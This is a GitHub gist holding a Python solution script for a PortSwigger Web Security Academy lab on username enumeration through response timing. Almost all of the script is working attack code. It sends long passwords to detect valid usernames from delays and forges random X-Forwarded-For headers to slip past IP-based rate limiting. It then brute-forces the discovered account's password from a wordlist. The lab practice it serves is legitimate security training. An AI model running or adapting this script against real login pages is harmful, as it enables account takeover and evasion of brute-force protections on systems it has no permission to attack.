Last active
March 6, 2024 11:26
-
-
Save thewhiteh4t/fb5f76af14095e2c6856cbb3db996a9c to your computer and use it in GitHub Desktop.
PortSwigger | Authentication | Username enumeration via response timing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
''' | |
Solution for : Username enumeration via response timing | |
https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing | |
''' | |
import time | |
import random | |
import requests | |
url = 'https://0a5400b3044e391f83977d7100ca005b.web-security-academy.net/login' | |
num_retry = 3 # increase for accuracy but it will take more time | |
max_avg = 5 | |
pass_len = 2000 # increase if you are getting false positives | |
with open('ps_time_users.txt') as userfile: | |
usernames = userfile.readlines() | |
with open('ps_time_pass.txt') as passfile: | |
passwords = passfile.readlines() | |
def measure(username): | |
payload = { | |
'username': username, | |
'password': 'A' * pass_len | |
} | |
timings = [] | |
for i in range(0, num_retry): | |
headers = { | |
'X-Forwarded-For': str(random.randint(0, 9999)) | |
} | |
start = time.perf_counter() | |
r = requests.post(url, data=payload, headers=headers) | |
resp_time = time.perf_counter() - start | |
timings.append(resp_time) | |
avg = sum(timings) / len(timings) | |
return avg | |
def brute(username, password): | |
payload = { | |
'username': username, | |
'password': password | |
} | |
headers = { | |
'X-Forwarded-For': str(random.randint(0, 9999)) | |
} | |
r = requests.post(url, data=payload, headers=headers) | |
if 'Your username is' in r.text: | |
print(end='\x1b[2K') | |
print(f'[+] Password found : {password}') | |
return True | |
else: | |
return False | |
user_counter = 1 | |
total_users = len(usernames) | |
for username in usernames: | |
user = username.strip() | |
print(end='\x1b[2K') | |
print(f'[!] Testing : {user_counter}/{total_users} -> {user}', end='\r') | |
time_taken = measure(user) | |
user_counter += 1 | |
if user == 'wiener': | |
print(end='\x1b[2K') | |
print(f'\n[+] Avg time for wiener : {time_taken}s') | |
max_avg = int(time_taken) - 2 | |
print(f'\n[!] Setting max_avg to {max_avg}s\n') | |
if time_taken > max_avg and user != 'wiener': | |
print(end='\x1b[2K') | |
print(f'[+] Username found : {user} -> Avg time : {time_taken}s\n') | |
break | |
print(f'[!] Starting brute force attack on {user}\n') | |
pass_counter = 1 | |
total_pswds = len(passwords) | |
for password in passwords: | |
pswd = password.strip() | |
print(end='\x1b[2K') | |
print(f'[!] Testing : {pass_counter}/{total_pswds} -> {pswd}', end='\r') | |
pass_counter += 1 | |
if brute(user, pswd): | |
break |
Author
thewhiteh4t
commented
Mar 6, 2024
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment